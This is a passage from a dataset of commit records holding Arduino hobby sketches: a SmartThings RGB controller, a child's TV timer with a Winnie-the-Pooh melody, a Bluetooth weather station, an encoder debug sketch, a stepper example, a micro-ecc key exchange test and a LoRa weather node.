routine\n\/\/******************************************************************************************\nvoid setup()\n{\n \/\/******************************************************************************************\n \/\/Declare each Device that is attached to the Arduino\n \/\/ Notes: - For each device, there is typically a corresponding \"tile\" defined in your \n \/\/ SmartThings Device Hanlder Groovy code, except when using new COMPOSITE Device Handler\n \/\/ - For details on each device's constructor arguments below, please refer to the \n \/\/ corresponding header (.h) and program (.cpp) files.\n \/\/ - The name assigned to each device (1st argument below) must match the Groovy\n \/\/ Device Handler names. (Note: \"temphumid\" below is the exception to this rule\n \/\/ as the DHT sensors produce both \"temperature\" and \"humidity\". Data from that\n \/\/ particular sensor is sent to the ST Hub in two separate updates, one for \n \/\/ \"temperature\" and one for \"humidity\")\n \/\/ - The new Composite Device Handler is comprised of a Parent DH and various Child\n \/\/ DH's. The names used below MUST not be changed for the Automatic Creation of\n \/\/ child devices to work properly. Simply increment the number by +1 for each duplicate\n \/\/ device (e.g. contact1, contact2, contact3, etc...) You can rename the Child Devices\n \/\/ to match your specific use case in the ST Phone Application.\n \/\/******************************************************************************************\n \/\/Polling Sensors\n \n \/\/Interrupt Sensors \n\n \/\/Special sensors\/executors (uses portions of both polling and executor classes)\n \n \/\/Executors\n static st::EX_RGB_Dim executor1(F(\"rgbSwitch1\"), PIN_RGB1_Red, PIN_RGB1_Green, PIN_RGB1_Blue, false, 0, 1, 2);\n \n \/\/*****************************************************************************\n \/\/ Configure debug print output from each main class \n \/\/ -Note: Set these to \"false\" if using Hardware Serial on pins 0 & 1\n \/\/ to prevent communication conflicts with the ST Shield communications\n \/\/*****************************************************************************\n st::Everything::debug=true;\n st::Executor::debug=true;\n st::Device::debug=true;\n st::PollingSensor::debug=true;\n st::InterruptSensor::debug=true;\n\n \/\/*****************************************************************************\n \/\/Initialize the \"Everything\" Class\n \/\/*****************************************************************************\n\n \/\/Initialize the optional local callback routine (safe to comment out if not desired)\n st::Everything::callOnMsgSend = callback;\n \n \/\/Create the SmartThings ESP8266WiFi Communications Object\n \/\/STATIC IP Assignment - Recommended\n st::Everything::SmartThing = new st::SmartThingsESP8266WiFi(str_ssid, str_password, ip, gateway, subnet, dnsserver, serverPort, hubIp, hubPort, st::receiveSmartString);\n \n \/\/DHCP IP Assigment - Must set your router's DHCP server to provice a static IP address for this device's MAC address\n \/\/st::Everything::SmartThing = new st::SmartThingsESP8266WiFi(str_ssid, str_password, serverPort, hubIp, hubPort, st::receiveSmartString);\n\n \/\/Run the Everything class' init() routine which establishes WiFi communications with SmartThings Hub\n st::Everything::init();\n \n \/\/*****************************************************************************\n \/\/Add each sensor to the \"Everything\" Class\n \/\/*****************************************************************************\n \n \/\/*****************************************************************************\n \/\/Add each executor to the \"Everything\" Class\n \/\/*****************************************************************************\n st::Everything::addExecutor(&executor1);\n \n \/\/*****************************************************************************\n \/\/Initialize each of the devices which were added to the Everything Class\n \/\/*****************************************************************************\n st::Everything::initDevices();\n \n}\n\n\/\/******************************************************************************************\n\/\/Arduino Loop() routine\n\/\/******************************************************************************************\nvoid loop()\n{\n \/\/*****************************************************************************\n \/\/Execute the Everything run method which takes care of \"Everything\"\n \/\/*****************************************************************************\n st::Everything::run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modified_ST_Anything_Libraries\/ST_Anything_RGB_ESP8266WiFi.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e91c5332194f65da667b04f21ecf6e8fc558fa59","subject":"Create toilet_timer.ino","message":"Create toilet_timer.ino","repos":"kazunori279\/cloudbit","old_file":"toilet_timer.ino","new_file":"toilet_timer.ino","new_contents":"int timer = 0;\n\nvoid setup() {\n pinMode(A1, INPUT); \n pinMode(0, INPUT);\n pinMode(9, OUTPUT);\n}\n\nvoid loop() {\n\n \/\/ wait for 0.01s\n delay(10);\n\n \/\/ check the IR sensor\n int a1 = analogRead(A1);\n if (a1 > 500) {\n timer = 0;\n }\n timer++;\n\n \/\/ after 5 sec, beep\n if (timer >= 500) {\n digitalWrite(9, HIGH);\n timer = 500;\n } else {\n digitalWrite(9, LOW);\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'toilet_timer.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7600f0ac39e8e08e090a7b82ec1704499e85bcdb","subject":"Create shu_timer_v3.ino","message":"Create shu_timer_v3.ino","repos":"kazunori279\/cloudbit","old_file":"shu_timer_v2\/shu_timer_v3.ino","new_file":"shu_timer_v2\/shu_timer_v3.ino","new_contents":"\/*\n Shu Timer version 3\n \n A Timer app with for Shu-chan to limit his TV\/Gaming time. \n Runs on littleBits + Arduino. Version 3 added a support for Google Assistant.\n *\/\n\n\/\/ melody notes\n#define _0 0\n#define _C 262\n#define _D 294\n#define _E 330\n#define _F 349\n#define _G 392\n#define _A 440\n#define _B 494\n#define _c 523\n\n\/\/ consts\nconst int CTRL_BTN = 0; \/\/ control button input at D0\nconst int CLOUDBIT_IN = A1; \/\/ cloudBit input at A0\nconst int SPEAKER_OUT = 9; \/\/ blinker LED and speaker output at D5\nconst int COUNTER_LED = 1; \/\/ counter 7-seg LED output at D1\nconst int COUNTER_RESET = 5; \/\/ counter reset port at D9\nconst int CLOUDBIT_OUT = 10; \/\/ cloudBit output at D10\n\nconst int MAX_TIMER_VAL = 99 * 60; \/\/ max amount of timer in seconds\nconst int MAX_MELODY_COUNT = 1; \/\/ how many times melody will be played at alarming\n\n\/\/ notes of \"winny the pooh\"\nconst int pooh_melody[] = \n {_B, _A, _G, _F, _D, _C, _D, _C, \n _A, _B, _A, _G, _F, _G, _A,\n _C, _B, _A, _G, _F, _G, _c, _A, _F,\n _C, _D, _E, _F, _E, _D, _C, _F, _0};\n\n\/\/ durations of the melody\nconst int duration[] = \n {1, 1, 1, 2, 1, 2, 1, 2,\n 1, 1, 1, 1, 2, 1, 4,\n 1, 1, 1, 1, 2, 1, 2, 1, 2,\n 1, 1, 1, 1, 1, 1, 1, 4, 8};\nconst int NOTES_COUNT = 33; \/\/ total number of notes\nconst int NOTE_DUR = 200; \/\/ duration of each note\nconst float NOTE_DUTY = 0.7; \/\/ duty ratio of each note\n\n\/\/ states for the counter\nint ST_STOP = 0; \/\/ counting stopped\nint ST_STARTING = 1; \/\/ counting will start soon\nint ST_COUNTING = 2; \/\/ counting\nint countState = ST_STOP;\nunsigned long countStartingAt = 0;\n\nunsigned long lastTick = 0; \/\/ timestamp of last tick time\nint timerValue = 0; \/\/ current timer value\nint timerValuePrev = 0; \/\/ previous timer value\n\n\/\/ states for the button\nint ctrlBtnPrev = LOW; \/\/ previous button value\nunsigned long ctrlBtnReleasedAt = 0; \/\/ last tick when button released\n\n\/\/ states for cloudBit\nint cloudBitInputPrev = 0;\n\n\/\/ states for playing the melody\nint melodyCount = 0; \/\/ remaining count of melody play\nint noteIndex = 0; \/\/ current note index\nunsigned long nextToneTime = 0; \/\/ time to play next tone\nunsigned long nextNoToneTime = 0; \/\/ time to stop play tone\n\n\/*\n * Setup and main loop\n *\/\n\n\/\/ setup\nvoid setup() {\n Serial.begin(9600);\n pinMode(CTRL_BTN, INPUT);\n pinMode(CLOUDBIT_IN, INPUT);\n pinMode(SPEAKER_OUT, OUTPUT);\n pinMode(COUNTER_LED, OUTPUT);\n pinMode(COUNTER_RESET, OUTPUT);\n pinMode(CLOUDBIT_OUT, OUTPUT);\n reset();\n}\n\nvoid reset() {\n timerValue = 0;\n lastTick = 0;\n ctrlBtnPrev = LOW;\n ctrlBtnReleasedAt = 0;\n timerValuePrev = 0;\n melodyCount = 0;\n countState = ST_STOP;\n countStartingAt = 0;\n cloudBitInputPrev = 0;\n resetMelody();\n resetCounter();\n}\n\n\/\/ main loop\nvoid loop() {\n delay(10);\n ticking();\n checkCtrlButton();\n checkCloudBitInput();\n playNextTone();\n}\n\n\/*\n * Counter management\n *\/\n\n\/\/ decrease timerValue every one sec if timer is not stopped\nvoid ticking() {\n if (millis() - lastTick > 1000) {\n lastTick = millis();\n counting();\n }\n}\n\n\/\/ cound down and update the LED every 1 sec\nvoid counting() {\n\n \/\/ skip if it's not counting or playing the melody\n if (countState != ST_COUNTING || melodyCount > 0) return;\n\n \/\/ count down\n if (timerValue > 0) {\n timerValue--;\n }\n updateLED();\n\n \/\/ play click\n if (melodyCount== 0) {\n digitalWrite(SPEAKER_OUT, (timerValue % 2));\n }\n \n \/\/ check if it's time to alarm\n if (timerValue == 0 && timerValuePrev == 1) {\n digitalWrite(CLOUDBIT_OUT, HIGH);\n delay(100);\n digitalWrite(CLOUDBIT_OUT, LOW);\n melodyCount = MAX_MELODY_COUNT; \/\/ start playing the melody\n countState == ST_STOP;\n }\n timerValuePrev = timerValue;\n}\n\nvoid updateLED() {\n \n \/\/ update LED\n resetCounter();\n int n = timerValue;\n if (timerValue > 60) {\n n = round(timerValue \/ 60.0); \/\/ in minutes\n }\n for (int i = 0; i < n; i++) {\n digitalWrite(COUNTER_LED, HIGH);\n delay(1);\n digitalWrite(COUNTER_LED, LOW);\n delay(1);\n }\n}\n\nvoid resetCounter() {\n digitalWrite(COUNTER_RESET, HIGH);\n delay(5);\n digitalWrite(COUNTER_RESET, LOW); \n}\n\n\/*\n * Control Button\n *\/\n\n\/\/ if ctrl button is pressed, increase timerValue by START_VAL\nvoid checkCtrlButton() {\n\n \/\/ check button status\n int ctrlBtn = digitalRead(CTRL_BTN);\n\n \/\/ reset all when button pressed for 1 sec\n if (ctrlBtn == LOW) {\n ctrlBtnReleasedAt = millis();\n }\n if (millis() - ctrlBtnReleasedAt > 1000) {\n reset();\n return;\n } \n\n \/\/ change ST_STARTING -> ST_COUNTING after 3 sec\n if (countState == ST_STARTING && (millis() - countStartingAt) > 3000) {\n countState = ST_COUNTING;\n }\n\n \/\/ skip if button not clicked\n if (ctrlBtn != HIGH || ctrlBtnPrev != LOW) {\n ctrlBtnPrev = ctrlBtn;\n return;\n }\n \n \/\/ button clicked\n if (countState == ST_STOP) {\n if (timerValue == 0) {\n countState = ST_STARTING;\n countStartingAt = millis(); \n increaseTimerValue();\n } else {\n countState = ST_COUNTING;\n }\n } else if (countState == ST_STARTING) {\n countState = ST_STARTING;\n countStartingAt = millis();\n increaseTimerValue();\n } else if (countState == ST_COUNTING) {\n countState = ST_STOP;\n }\n ctrlBtnPrev = ctrlBtn;\n}\n\nvoid increaseTimerValue() {\n if (timerValue == 0) {\n timerValue = 3000;\n } else if (timerValue == 3000) {\n timerValue = 600;\n } else if (timerValue == 600) {\n timerValue = 300;\n } else if (timerValue == 300) {\n timerValue = 180;\n }\n updateLED();\n}\n\n\/\/ check input from cloudBit to play melody\nvoid checkCloudBitInput() {\n int cloudBitInput = analogRead(CLOUDBIT_IN);\n\/\/ Serial.println(cloudBitInput);\n if (cloudBitInput - cloudBitInputPrev > 100) {\n timerValue = 3000;\n updateLED();\n countState = ST_COUNTING;\n }\n cloudBitInputPrev = cloudBitInput;\n}\n\n\/*\n * Playing the melody\n *\/\n\n\/\/ play next tone if melodyCount > 0\nvoid playNextTone() { \n \n \/\/ if it is not playing melody, return\n if (melodyCount == 0) return;\n \n \/\/ if next tone time has reached, play next note\n if (millis() > nextToneTime) {\n int nextTone = pooh_melody[noteIndex];\n if (nextTone != _0) {\n tone(SPEAKER_OUT, nextTone);\n } else {\n noTone(SPEAKER_OUT);\n }\n nextToneTime = millis() + (duration[noteIndex] * NOTE_DUR);\n nextNoToneTime = millis() + (duration[noteIndex] * NOTE_DUR * NOTE_DUTY);\n noteIndex++;\n }\n\n \/\/ if next no tone time has reached, stop tone\n if (millis() > nextNoToneTime) {\n noTone(SPEAKER_OUT);\n\n \/\/ if all notes has been played, stop the melody and decrease melodyCount.\n if (noteIndex == NOTES_COUNT) {\n resetMelody();\n melodyCount--;\n }\n }\n}\n\n\/\/ reset states for playing melody\nvoid resetMelody() {\n \n \/\/ reset variables for tone generation\n noteIndex = 0;\n nextToneTime = 0;\n nextNoToneTime = 0;\n\n \/\/ reset internal timer after using tone()\/noTone()\n \/\/ see http:\/\/discuss.littlebits.cc\/t\/analogwrite-on-d5-doesnt-work-after-using-tone\/7833\n noTone(SPEAKER_OUT);\n TCCR3A = 1;\n TCCR3B = 3; \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'shu_timer_v2\/shu_timer_v3.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a1050a8baef3e66e3a0e2b3e7ace3622717235c8","subject":"new outdoor-firm arduino project with DHT22 support","message":"new outdoor-firm arduino project with DHT22 support\n","repos":"tony-rasskazov\/meteo,tony-rasskazov\/meteo,tony-rasskazov\/meteo","old_file":"outdoor-firm\/outdoor-firm.ino","new_file":"outdoor-firm\/outdoor-firm.ino","new_contents":"\n\n\/* \n CONNECTIONS:\n - GND\n - Pin 2 to HC-05 TXD\n - Pin 3 to HC-05 RXD\n - Pin 4 to HC-05 K0EY\n - Pin 5+6 to HC-05 VCC for power control\n *\/\n\n#include <SoftwareSerial.h> \n\n#include <SFE_BMP180.h>\n#include <DHT.h>\n\n#define HC_05_TXD_ARDUINO_RXD 2\n#define HC_05_RXD_ARDUINO_TXD 3\n#define HC_05_SETUPKEY 4\n#define HC_05_PWR1 5 \n#define HC_05_PWR2 6\n\n#define DHT_PIN 7\n\n#define CMD_W 1100 \/\/ msec\n\n#define msg(x) Serial.println(x)\n\nconst int board = 0; \/\/ 0 -- for outdoor, 1 -- indor module\n\nSoftwareSerial BTSerial(HC_05_TXD_ARDUINO_RXD, HC_05_RXD_ARDUINO_TXD); \/\/ RX | TX\nDHT dht(DHT_PIN, DHT22);\n\n\nenum BTDeviceState {\n error = -2,\n off = -1,\n data = 0,\n at = 1,\n};\n\nclass BTDevice \n{\nprivate:\n BTDeviceState m_state;\n \npublic:\n BTDevice(): m_state(off) { };\n\n void setState(BTDeviceState state) {\n if (m_state == state) {\n msg(\"try to set BT to the same state \" + state);\n \n return;\n }\n switch (state) {\n case off: {\n \n msg(\"Power off\");\n digitalWrite(HC_05_PWR1, LOW);\n digitalWrite(HC_05_PWR2, LOW); \n delay(CMD_W);\n m_state = off;\n return; \n }\n case data: {\n if (m_state == off) {\n digitalWrite(HC_05_SETUPKEY, LOW); \/\/ Set command mode when powering up\n delay(CMD_W); \n digitalWrite(HC_05_PWR1, HIGH);\n digitalWrite(HC_05_PWR2, HIGH); \n delay(CMD_W);\n \n m_state = data;\n return; \n }\n }\n case at: {\n if (m_state == off) {\n digitalWrite(HC_05_SETUPKEY, HIGH); \/\/ Set command mode when powering up\n delay(CMD_W); \n digitalWrite(HC_05_PWR1, HIGH);\n digitalWrite(HC_05_PWR2, HIGH); \n delay(CMD_W); \n\n m_state = at;\n return;\n }\n \n }\n \n }\n };\n\n BTDeviceState state() {return m_state;};\n \n};\n\n\/*\nvoid BTDevice::initPins() {\n pinMode(HC_05_SETUPKEY, OUTPUT); \/\/ this pin will pull the HC-05 pin 34 (key pin) HIGH to switch module to AT mode\n pinMode(HC_05_PWR1, OUTPUT); \/\/ Connect in parallel to HC-05 VCC\n pinMode(HC_05_PWR2, OUTPUT); \/\/ Connect in parallel to HC-05 VCC\n};\n*\/\n\nBTDevice *bt = new BTDevice();\n\nSFE_BMP180 pressure;\n\nvoid setup() \/****** SETUP: RUNS ONCE ******\/\n{\n\n pinMode(HC_05_SETUPKEY, OUTPUT); \n pinMode(HC_05_PWR1, OUTPUT); \/\/ Connect in parallel to HC-05 VCC\n pinMode(HC_05_PWR2, OUTPUT); \/\/ Connect in parallel to HC-05 VCC\n\n pinMode(10, INPUT);\n pinMode(8, INPUT);\n \n\/\/ digitalWrite(HC_05_SETUPKEY, HIGH); \/\/ Set command mode when powering up\n \n Serial.begin(9600); \/\/ For the Arduino IDE Serial Monitor\n BTSerial.begin(38400); \/\/ HC-05 default speed in AT command mode\n\n bt->setState(data);\n\n if (pressure.begin())\n Serial.println(\"BMP180 init success\");\n else\n Serial.println(\"BMP180 init failed!!!\");\n\n\/*\n msg(\"Pwr on\");\n delay(2000);\n \n msg(\"Applying VCC Power. LED should blink SLOWLY: 2 Seconds ON\/OFF\");\n \n digitalWrite(HC_05_PWR1, HIGH); \/\/ Power VCC\n digitalWrite(HC_05_PWR2, HIGH); \n \n delay(2000);\n\n Serial.println(\"Enter AT commands in top window.\");\n BTSerial.begin(38400); \/\/ HC-05 default speed in AT command mode\n*\/\n\n}\n\nint cnt = 0;\n\nconst int aInPin = A0;\nint analogPin = 3;\n \nint v0 = 0; \nint v1 = 0; \nint v2 = 0; \nint v3 = 0;\nint d10 = 0; \nint d8 = 0; \ndouble T = -10.0;\ndouble P = -10.0;\ndouble H = -0.0;\n\n#define bt_echo_send(x) Serial.print(x); BTSerial.print(x);\n#define fbt_echo_send(x) bt_echo_send(x); bt_echo_send(\" \");\n\n\nint getPT(double &P, double &T) {\n char status = pressure.startTemperature();\n if (status != 0) {\n delay(status);\n status = pressure.getTemperature(T);\n \/\/Serial.println(T);\n if (status != 0) {\n status = pressure.startPressure(3);\n if (status != 0) {\n delay(status);\n status = pressure.getPressure(P,T);\n if (status != 0) {\n return 0;\n } else { T = -1.0; P = -1.0; }\n } else { T = -1.0; P = -1.0; }\n } else { T = -1.0; P = -1.0; }\n } else { T = -1.0; P = -1.0; }\n return -1;\n}\n\nvoid loop()\n{\n int btIn = -1;\n\n if (BTSerial.available() && (btIn = BTSerial.read()) ) {\n Serial.write(btIn);\n }\n\n if (Serial.available()) {\n char inChar = (char)Serial.read();\n\n if (inChar == '*') {\n bt->setState(off);\n bt->setState(data);\n }\n if (inChar == '?') {\n bt->setState(off);\n bt->setState(at);\n }\n \n String fromSerialStr = String(inChar);\n \n BTSerial.write(fromSerialStr.c_str());\n Serial.write(fromSerialStr.c_str());\n \/\/BTSerial.print(fromSerialStr);\n \/\/Serial.print(fromSerialStr);\n }\n\n\n v0 = analogRead(A0);\n v1 = analogRead(A1);\n v2 = analogRead(A2);\n v3 = analogRead(A3);\n\n d10 = digitalRead(10);\n d8 = digitalRead(8);\n\n char status;\n\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n\n if (board == 0) {\n status = getPT(P, T);\n \n bt_echo_send(\"(\")\n fbt_echo_send(cnt); \n fbt_echo_send(v0); \n fbt_echo_send(-1);\n fbt_echo_send(t);\n fbt_echo_send(v1); \n fbt_echo_send(d8);\n fbt_echo_send(d10);\n fbt_echo_send(T);\n fbt_echo_send(P);\n fbt_echo_send(h);\n bt_echo_send(\")\")\n\n bt_echo_send(\"\\r\\n\")\n \n delay(100);\n }\n cnt++;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'outdoor-firm\/outdoor-firm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f29948874ed3945b7ce30c55a655f3d2ff1238dd","subject":"For checking interrupt problems on Metro M0","message":"For checking interrupt problems on Metro M0\n","repos":"ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic","old_file":"Arduino\/Adafruit_library_debug_r03\/Adafruit_library_debug_r03.ino","new_file":"Arduino\/Adafruit_library_debug_r03\/Adafruit_library_debug_r03.ino","new_contents":"\/\/ This is where the bug was posted to Adafruit Forum:\n\/\/ https:\/\/forums.adafruit.com\/viewtopic.php?f=63&t=142763\n\/\/ Hall Effect sensor powered by the board's 3.3V pin (within spec of the sensor),\n\/\/ and two output signals from the Hall sensor fed to digital pins 6 & 7.\n\n\/\/ Board #2: Pin #3 never shows a digital toggler. \n\/\/ Board #3: Pin pair 4,5 doesn't work.\n\n#include <Encoder.h>\n\nEncoder myEnc_1(0, 1);\/\/ \nEncoder myEnc_2(2, 3);\nEncoder myEnc_3(4, 5);\nEncoder myEnc_4(6, 7);\n\nEncoder myEnc_5(8, 9);\nEncoder myEnc_6(10, 11);\nEncoder myEnc_7(12, 13);\n\/\/ library suggests skipping 13 since tied to board LED, but trying it here anyway\nEncoder myEnc_8(14, 15); \/\/AKA analog pins A0, A1\nEncoder myEnc_9(16, 17); \/\/AKA analog pins A2, A3\n\nEncoder myEnc_10(28, 29);\n\/\/ skipping pins A4,A5 since Motor Shield V2.3 ties these to SCL,SDA\n\nint Count_E1 = 0;\nint Count_E2 = 0;\nint Count_E3 = 0;\nint Count_E4 = 0;\nint Count_E5 = 0;\nint Count_E6 = 0;\nint Count_E7 = 0;\nint Count_E8 = 0;\nint Count_E9 = 0;\nint Count_E10 = 0;\n\nint D0 = 0;\nint D1 = 0;\nint D2 = 0;\nint D3 = 0;\nint D4 = 0;\nint D5 = 0;\nint D6 = 0;\nint D7 = 0;\nint D8 = 0;\nint D9 = 0;\nint D10 = 0;\nint D11 = 0;\nint D12 = 0;\nint D13 = 0;\n\nint D14 = 0;\nint D15 = 0;\nint D16 = 0;\nint D17 = 0;\n\n\nint D28 = 0;\nint D29 = 0;\n\nvoid setup() {\n\n Serial.begin(115200);\n Serial.setTimeout(50);\n\n}\n\nvoid loop() {\n Count_E1 = myEnc_1.read(); \n Count_E2 = myEnc_2.read();\n Count_E3 = myEnc_3.read();\n Count_E4 = myEnc_4.read();\n Count_E5 = myEnc_5.read();\n Count_E6 = myEnc_6.read();\n Count_E7 = myEnc_7.read();\n Count_E8 = myEnc_8.read();\n Count_E9 = myEnc_9.read();\n Count_E10 = myEnc_10.read();\n\n D0 = digitalRead(0);\n D1 = digitalRead(1);\n D2 = digitalRead(2);\n D3 = digitalRead(3);\n D4 = digitalRead(4);\n D5 = digitalRead(5);\n D6 = digitalRead(6);\n D7 = digitalRead(7);\n D8 = digitalRead(8);\n D9 = digitalRead(9);\n D10 = digitalRead(10);\n D11 = digitalRead(11);\n D12 = digitalRead(12);\n D13 = digitalRead(13);\n\n D14 = digitalRead(14);\n D15 = digitalRead(15);\n D16 = digitalRead(16);\n D17 = digitalRead(17);\n\n D28 = digitalRead(28);\n D29 = digitalRead(29);\n\n\n Serial.print(\"E1:\");\n Serial.print( Count_E1);\n Serial.print(\",E2:\");\n Serial.print( Count_E2);\n Serial.print(\",E3:\");\n Serial.print( Count_E3);\n Serial.print(\",E4:\");\n Serial.print( Count_E4);\n\n Serial.print(\",E5:\");\n Serial.print( Count_E5);\n Serial.print(\",E6:\");\n Serial.print( Count_E6);\n Serial.print(\",E7:\");\n Serial.print( Count_E7);\n Serial.print(\",E8:\");\n Serial.print( Count_E8);\n Serial.print(\",E9:\");\n Serial.print( Count_E9);\n Serial.print(\",E10:\");\n Serial.print( Count_E10);\n\n\n Serial.print(\",D0:\");\n Serial.print( D0);\n Serial.print(\",D1:\");\n Serial.print( D1);\n Serial.print(\",D2:\");\n Serial.print( D2);\n\n Serial.print(\"D3: \");\n Serial.print( D3);\n Serial.print(\",D4:\");\n Serial.print( D4);\n Serial.print(\",D5:\");\n Serial.print( D5);\n Serial.print(\",D6:\");\n\n Serial.print( D6);\n Serial.print(\",D7:\");\n Serial.print( D7);\n Serial.print(\",D8: \");\n Serial.print( D8);\n\n Serial.print(\"D9:\");\n Serial.print( D9);\n Serial.print(\",D10:\");\n Serial.print( D10);\n Serial.print(\",D11:\");\n Serial.print( D11);\n Serial.print(\",D12:\");\n Serial.print( D12);\n Serial.print(\",D13:\");\n Serial.print( D13);\n\n Serial.print(\",D14:\");\n Serial.print( D14);\n Serial.print(\",D15:\");\n Serial.print( D15);\n Serial.print(\",D16:\");\n Serial.print( D16);\n Serial.print(\",D17:\");\n Serial.print( D17);\n\n\n\n Serial.print(\",D28:\");\n Serial.print( D28);\n Serial.print(\",D29:\");\n Serial.print( D29);\n Serial.println(\"\");\n delay(10);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Adafruit_library_debug_r03\/Adafruit_library_debug_r03.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"69aaac4d20050eb2fb6e8d14f49f875be9e3be9d","subject":"Copied example from stepper library. This will evolve into the full driver code.","message":"Copied example from stepper library. This will evolve into the full driver code.\n","repos":"fginter\/jabber-arduino-controlbot,fginter\/jabber-arduino-controlbot,fginter\/jabber-arduino-controlbot","old_file":"webcambot_arduino\/webcambot_arduino.ino","new_file":"webcambot_arduino\/webcambot_arduino.ino","new_contents":"#include <Stepper.h>\n\n#define STEPS 100\n\nStepper stepper(STEPS, 10, 11, 12, 13);\n\nvoid setup() {\n stepper.setSpeed(30);\n}\n\nvoid loop() {\n stepper.step(30);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'webcambot_arduino\/webcambot_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"412ace6b6186e71c171b0eb6c01501f2eed59f8c","subject":"Add test sketch.","message":"Add test sketch.","repos":"concise\/micro-ecc,periloso\/micro-ecc,phoenix-frozen\/micro-ecc,carlescufi\/micro-ecc,kmackay\/micro-ecc,adfernandes\/micro-ecc,cgommel\/micro-ecc,kmackay\/micro-ecc,adfernandes\/micro-ecc,periloso\/micro-ecc,phoenix-frozen\/micro-ecc,concise\/micro-ecc,periloso\/micro-ecc,carlescufi\/micro-ecc,kmackay\/micro-ecc,carlescufi\/micro-ecc,cgommel\/micro-ecc,kmackay\/micro-ecc,cgommel\/micro-ecc,adfernandes\/micro-ecc,adfernandes\/micro-ecc","old_file":"ecc_test\/ecc_test.ino","new_file":"ecc_test\/ecc_test.ino","new_contents":"#include <j0g.h>\n#include <js0n.h>\n\n#include <lwm.h>\n\n#include <bitlash.h>\n\n#include <GS.h>\n\n#include <SPI.h>\n#include <Wire.h>\n#include <Scout.h>\n#include <Shell.h>\n\n\n#include <ecc.h>\n\nvoid setup() {\n Scout.setup();\n uint8_t l_private1[ECC_BYTES];\n uint8_t l_private2[ECC_BYTES];\n \n uint8_t l_public1[ECC_BYTES + 1];\n uint8_t l_public2[ECC_BYTES + 1];\n \n uint8_t l_secret1[ECC_BYTES];\n uint8_t l_secret2[ECC_BYTES];\n \n Serial.print(\"Testing ecc\\n\");\n \n unsigned long a = millis();\n ecc_make_key(l_public1, l_private1);\n unsigned long b = millis();\n \n Serial.print(\"Made key 1 in \"); Serial.println(b-a);\n a = millis();\n ecc_make_key(l_public2, l_private2);\n b = millis();\n Serial.print(\"Made key 2 in \"); Serial.println(b-a);\n\n a = millis();\n int r = ecdh_shared_secret(l_public2, l_private1, l_secret1);\n b = millis();\n Serial.print(\"Shared secret 1 in \"); Serial.println(b-a);\n if(!r)\n {\n Serial.print(\"shared_secret() failed (1)\\n\");\n return;\n }\n\n a = millis();\n r = ecdh_shared_secret(l_public1, l_private2, l_secret2);\n b = millis();\n Serial.print(\"Shared secret 2 in \"); Serial.println(b-a);\n if(!r)\n {\n Serial.print(\"shared_secret() failed (2)\\n\");\n return;\n }\n \n if(memcmp(l_secret1, l_secret2, sizeof(l_secret1)) != 0)\n {\n Serial.print(\"Shared secrets are not identical!\\n\");\n \/*printf(\"Shared secret 1 = \");\n vli_print(l_secret1, ECC_BYTES);\n printf(\"\\n\");\n printf(\"Shared secret 2 = \");\n vli_print(l_secret2, ECC_BYTES);\n printf(\"\\n\");\n printf(\"Private key 1 = \");\n vli_print(l_private1, ECC_BYTES);\n printf(\"\\n\");\n printf(\"Private key 2 = \");\n vli_print(l_private2, ECC_BYTES);\n printf(\"\\n\");*\/\n }\n else\n {\n Serial.print(\"Shared secrets are identical\\n\");\n }\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ecc_test\/ecc_test.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"b6e9ef67a6bdf5b394a8ffd5ca38cfcd4007b234","subject":"Added the arduino code that runs on the things uno.","message":"Added the arduino code that runs on the things uno.\n","repos":"ncthompson\/ThingsWeather,ncthompson\/ThingsWeather,ncthompson\/ThingsWeather","old_file":"things_uno\/weather_uno.ino","new_file":"things_uno\/weather_uno.ino","new_contents":"\/*\n * Author: NC Thompson\n * Date: 2017-02-15\n *\n *\/\n#include <rn2xx3.h>\n#include <SHT1x.h>\n#include \"LowPower.h\"\n\n\/\/create an instance of the rn2483 library, using the given Serial port\nrn2xx3 myLora(Serial1);\n#define dataPin SDA\n#define clockPin SCL\n#define PIN_SERIAL1_TX PIN1\n\nSHT1x sht1x(dataPin, clockPin);\n\nuint8_t count = 0;\n\nuint8_t txBuffer[7];\nint batVoltPin = A5; \/\/ select the input pin for the battery voltage\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup()\n{\n \/\/output LED pin\n pinMode(13, OUTPUT);\n led_on();\n\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(57600); \/\/serial port to computer\n\n Serial1.begin(57600); \/\/serial port to radio\n \/\/wakeUP_RN2483();\n \/\/ make sure usb serial connection is available,\n \/\/ or after 10s go on anyway for 'headless' use of the\n \/\/ node.\n while ((!Serial) && (millis() < 10000));\n\n Serial.println(\"Startup\");\n\n initialize_radio();\n\n \/\/transmit a startup message\n myLora.tx(\"TTN Mapper on TTN Uno node\");\n Serial.end();\n led_off();\n delay(2000);\n}\n\nvoid initialize_radio()\n{\n delay(100); \/\/wait for the RN2xx3's startup message\n Serial1.flush();\n\n \/\/print out the HWEUI so that we can register it via ttnctl\n String hweui = myLora.hweui();\n while(hweui.length() != 16)\n {\n Serial.println(\"Communication with RN2xx3 unsuccessful. Power cycle the TTN UNO board.\");\n delay(10000);\n hweui = myLora.hweui();\n }\n Serial.println(\"When using OTAA, register this DevEUI: \");\n Serial.println(hweui);\n Serial.println(\"RN2xx3 firmware version:\");\n Serial.println(myLora.sysver());\n\n \/\/configure your keys and join the network\n Serial.println(\"Trying to join TTN\");\n bool join_result = false;\n\n myLora.setFrequencyPlan(TTN_EU);\n\n \/\/ABP: initABP(String 